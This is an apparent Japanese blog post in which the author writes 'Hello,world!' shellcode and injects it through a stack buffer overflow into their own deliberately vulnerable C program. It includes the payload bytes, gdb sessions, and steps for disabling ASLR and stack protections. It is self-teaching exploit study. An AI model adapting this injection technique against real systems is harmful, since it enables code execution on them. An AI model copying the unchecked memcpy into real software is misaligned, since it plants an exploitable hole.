プロローグ Link to heading

先日buffer overflowを自作自演したとき、バイナリ内に既に存在しているinstructionにEIPを導いた。任意のコードを外からinjectすることはできるだろうか。

何かしら任意の文字列を表示させることを試みる。

shellcodeをつくる Link to heading

まず、shellcodeを用意する。全くの初めてだが見よう見まね&少し調べてアセンブリを書く。必要最低限の理解しかないが、核となるのは以下のような点のようだ。

  • 状況に依存せずinjectしたものが動いてほしいので、data segmentを使う自由はない。call instructionの後がスタックに乗ることを利用する。
  • null byteが入るといろいろ厄介(らしい)ので、上から下へではなく、下から上へ動くようなcallにする。アドレス移動がマイナスになることで0x0ではなく0xffffffffに近い値になるから。
  • null byteが入るといろいろ厄介(らしい)のと、コードを短くしたいので、lower bits (al, dl, etc.)を狙ってアップデートする。

“Hello,world!“と表示して静かにプログラムを終了する以下のコードを書いた。

helloworld.s

        BITS 32

        jmp short one

two:
        pop ecx                 ; Pop the return address (string ptr) into ecx
        xor eax, eax            ; Zero out eax
        mov al, 4               ; Set 4 to eax (4: syscall # for write)
        xor ebx, ebx            ; Zero out ebx
        inc ebx                 ; Set 1 to ebx (1: stdout file descriptor)
        xor edx, edx            ; Zero out edx
        mov dl, 12              ; Set 12 to edx (string length)
        int 0x80                ; Do syscall: write(1, string, 14)

        mov al, 1               ; Set 1 to eax (1: syscall # for exit)
        dec ebx                 ; Set 0 to ebx (status for exit)
        int 0x80                ; Do syscall: exit(0)

one:
        call two
        db "Hello,world!"

ちゃんと動くだろうか。アセンブルし、リンクし、動かしてみる。

$ nasm -f elf helloworld.s
$ ld helloworld.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
$ ./a.out
Hello,world!

大丈夫そうだ。では使おう。

  1. シンプルなバイナリとしてアセンブルし、
  2. ディスアセンブル結果を見て安心し、
  3. shellcodeとして使う用にhexで出力する。
$ nasm helloworld.s
$ ndisasm -b32 helloworld
00000000  EB13              jmp short 0x15
00000002  59                pop ecx
00000003  31C0              xor eax,eax
00000005  B004              mov al,0x4
00000007  31DB              xor ebx,ebx
00000009  43                inc ebx
0000000A  31D2              xor edx,edx
0000000C  B20C              mov dl,0xc
0000000E  CD80              int 0x80
00000010  B001              mov al,0x1
00000012  4B                dec ebx
00000013  CD80              int 0x80
00000015  E8E8FFFFFF        call dword 0x2
0000001A  48                dec eax
0000001B  656C              gs insb
0000001D  6C                insb
0000001E  6F                outsd
0000001F  2C77              sub al,0x77
00000021  6F                outsd
00000022  726C              jc 0x90
00000024  64                fs
00000025  21                db 0x21
$ hexdump -C helloworld
00000000  eb 13 59 31 c0 b0 04 31  db 43 31 d2 b2 0c cd 80  |..Y1...1.C1.....|
00000010  b0 01 4b cd 80 e8 e8 ff  ff ff 48 65 6c 6c 6f 2c  |..K.......Hello,|
00000020  77 6f 72 6c 64 21                                 |world!|
00000026

というわけで、送り込みたいのは以下のバイト列(38バイト)。

\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21

gdb内で注入する Link to heading

作ったshellcodeを送り込んでみる。まずはgdb内で。

訳あって前回と違う環境を使っている(理由は後述)。バイナリも同じコードから改めて用意した。

$ gdb -q yamabiko
Reading symbols from yamabiko...(no debugging symbols found)...done.
(gdb) disass func1
Dump of assembler code for function func1:
   0x080484dd <+0>:     push   ebp
   0x080484de <+1>:     mov    ebp,esp
   0x080484e0 <+3>:     sub    esp,0x38
   0x080484e3 <+6>:     mov    DWORD PTR [esp+0x8],0x20
   0x080484eb <+14>:    mov    DWORD PTR [esp+0x4],0x0
   0x080484f3 <+22>:    lea    eax,[ebp-0x28]
   0x080484f6 <+25>:    mov    DWORD PTR [esp],eax
   0x080484f9 <+28>:    call   0x80483d0 <memset@plt>
   0x080484fe <+33>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048501 <+36>:    mov    DWORD PTR [esp+0x8],eax
   0x08048505 <+40>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048508 <+43>:    mov    DWORD PTR [esp+0x4],eax
   0x0804850c <+47>:    lea    eax,[ebp-0x28]
   0x0804850f <+50>:    mov    DWORD PTR [esp],eax
   0x08048512 <+53>:    call   0x8048380 <memcpy@plt>
   0x08048517 <+58>:    lea    eax,[ebp-0x28]
   0x0804851a <+61>:    mov    DWORD PTR [esp+0x4],eax
   0x0804851e <+65>:    mov    DWORD PTR [esp],0x8048610
   0x08048525 <+72>:    call   0x8048370 <printf@plt>
   0x0804852a <+77>:    mov    eax,0x1
   0x0804852f <+82>:    leave
   0x08048530 <+83>:    ret
End of assembler dump.
(gdb) b *0x08048525
Breakpoint 1 at 0x8048525
(gdb) run $(perl -e 'print "A"x44';)
Starting program: /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "A"x44';)

Breakpoint 1, 0x08048525 in func1 ()
(gdb) x/16wx $esp
0xbffff630: 0x08048610  0xbffff640  0x0000002c  0xb7e552f3
0xbffff640: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff650: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff660: 0x41414141  0x41414141  0x41414141  0x08048579
(gdb) x/4i 0x08048579
   0x8048579 <main+72>: leave
   0x804857a <main+73>: ret
   0x804857b:   xchg   ax,ax
   0x804857d:   xchg   ax,ax
(gdb) q
A debugging session is active.

    Inferior 1 [process 4726] will be killed.

Quit anyway? (y or n) y
$

というわけでプログラム引数として渡したいのは、

  • 前回明らかにした通りトータルで48バイト
  • どこかにさっきのshellcode (38バイト)
  • 一番最後が0xbffff640

ということで以下。序盤を\x90(nop)で埋める。

$ perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";'
�������Y1��1�C1Ҳ
                 ̀�K̀�����Hello,world!@���

渡して実行してみる。

$ gdb -q yamabiko
Reading symbols from yamabiko...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
Starting program: /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
                           ̀�K̀�����Hello,world!@������0
Hello,world![Inferior 1 (process 4870) exited normally]

お、できた!

gdb外で注入する Link to heading

前回同様、同じことをgdb外で実行してみる。

$ ./yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
                           ̀�K̀�����Hello,world!@�������0
Segmentation fault (core dumped)

むむ。coreを見よう。

$ gdb -q yamabiko -c core.yamabiko.5336
Reading symbols from yamabiko...(no debugging symbols found)...done.
[New LWP 5336]
Core was generated by `./yamabiko �������Y1��1C1Ҳ
                                                   ̀������Hello,world!@���'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff640 in ?? ()
(gdb) i r eip
eip            0xbffff640   0xbffff640
(gdb) x/4i $eip
=> 0xbffff640:  Cannot access memory at address 0xbffff640
(gdb)

eipは狙った通り0xbffff640を指しているが、そんなアドレスにはアクセスできないと言われた。

Address Space Layout Randomization (ASLR) Link to heading

Oracle® LinuxSecurity Guide for Release 6 - 3.15.1 Address Space Layout Randomization

スタックのアドレスがrandomizeされるらしい。試しに別途、引数で渡された文字列のアドレスを表示するyamabiko_debugを作って複数回実行したら、以下のような結果が得られた。

$ for i in {1..5}; do ./yamabiko_debug AAAA; done
str is at 0xbfcf86e0
yamabiko: AAAA
str is at 0xbfd068d0
yamabiko: AAAA
str is at 0xbfdf6990
yamabiko: AAAA
str is at 0xbf9b5a40
yamabiko: AAAA
str is at 0xbf88c750
yamabiko: AAAA

以下のように値を確認し、disableした。

$ sysctl -n kernel.randomize_va_space
2
$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ sysctl -n kernel.randomize_va_space
0

結果、なるほど、アドレスが一定になった。

$ for i in {1..5}; do ./yamabiko_debug AAAA; done
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA

プログラム引数 Link to heading

ASLRを外した後に再度実行したが、またSegmentation faultになった。

$ ./yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
                           ̀�K̀�����Hello,world!@�������0
Segmentation fault (core dumped)

coreを見てみる。

$ gdb -q yamabiko -c core.yamabiko.5348
Reading symbols from yamabiko...(no debugging symbols found)...done.
[New LWP 5348]
Core was generated by `./yamabiko �������Y1��1C1Ҳ
                                                   ̀������Hello,world!@���'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff640 in ?? ()
(gdb) i r eip
eip            0xbffff640   0xbffff640
(gdb) x/4i $eip
=> 0xbffff640:  add    BYTE PTR [eax],al
   0xbffff642:  add    BYTE PTR [eax],al
   0xbffff644:  add    BYTE PTR [eax],al
   0xbffff646:  add    BYTE PTR [eax],al
(gdb) x/32bx $eip
0xbffff640: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbffff648: 0xa8    0xf6    0xff    0xbf    0x3f    0xf4    0xe6    0xb7
0xbffff650: 0xc0    0xfa    0xfc    0xb7    0x10    0x86    0x04    0x08
0xbffff658: 0x74    0xf6    0xff    0xbf    0x10    0xf4    0xe6    0xb7
(gdb)

今度は0xbffff640はスタックのどこかを指しているようだが、入れたものと違う。ちょっと調べてこちらにたどり着いた: Stack Overflow - Buffer overflow works in gdb but not without it

そういえば、gdb外で実行するときは./yamabikoとしているが、以下の通りgdbは絶対パスでプログラムを実行しているようだった。

$ gdb -q yamabiko
Reading symbols from yamabiko...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
Starting program: /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
                           ̀�K̀�����Hello,world!@������0
Hello,world![Inferior 1 (process 5483) exited normally]
(gdb)

じゃあ絶対パスで実行してみよう。

$ /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
                           ̀�K̀�����Hello,world!@���h���0
Hello,world!

おお、できた!

エピローグ Link to heading

-z execstack Link to heading

先述のお世話になっているセキュリティエンジニアからもらった課題では、実は上記ができなかった。shellcodeの最初のインストラクションでsegmentation faultしていた。「うう、ヒントください」と持ちかけたところ、どうやら出題ミスだったらしい。

$ gcc -fno-stack-protector -o yamabiko my_echo.c
$ /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1C1Ҳ
                           ̀������Hello,world!@���h���0
Segmentation fault (core dumped)
$ gdb -q yamabiko -c core.yamabiko.5831
Reading symbols from yamabiko...(no debugging symbols found)...done.
[New LWP 5831]
Core was generated by `/home/vagrant/work/my_echo/yamabiko �������Y1��1C1Ҳ
                                                                            ̀������Hello,world'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff640 in ?? ()
(gdb) i r eip
eip            0xbffff640   0xbffff640
(gdb) x/4i $eip
=> 0xbffff640:  nop
   0xbffff641:  nop
   0xbffff642:  nop
   0xbffff643:  nop
(gdb)

stack領域に置いてあるコードを実行しないようにというプロテクションがかかるらしく、これを外すため、コンパイル時に-z execstackが必要だったらしい。

$ gcc -fno-stack-protector -z execstack -o yamabiko my_echo.c
$ /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
                           ̀�K̀�����Hello,world!@���h���0
Hello,world!

core Link to heading

途中、core dumpが出力されないという問題に直面し、以下のようなことをした。

  1. $ sysctl -a | grep core_pattern$ less /proc/sys/kernel/core_patternでcoreの出力先が/usr/share/apport/apportであることを知る
  2. $ less /var/log/apport.logでapportでのエラーがあることを知る
  3. # echo 'core.%e.%p' > /proc/sys/kernel/core_patternでapportを使わないように変更する

こちらの記事に大変お世話になった: Ubuntuでコアダンプが出力できないことがある

ここで、core_patternのアップデートのためにsuする必要があったが、こちらのissueのおかげで容易でなかったので、環境を"ubuntu/xenial32"から"ubuntu/trusty32"に変えた。

my_echo.c Link to heading

前回からの自作自演は以下のソースコードを元にしたものだった。

#include <stdio.h>
#include <string.h>

int func1(char input[], int length) {
    char str[32];
    memset(str, 0, sizeof str);
    memcpy(str, input, length);
    //printf("str is at %p\n", str);
    printf("yamabiko: %s\n", str);

    return 1;
}

int main(int argc, char* argv[]) {
    if (argc != 2) {
        puts("usage: yamabiko whatever_you_want_to_spill_out");
        return -1;
    }

    return func1(argv[1], strlen(argv[1]));
}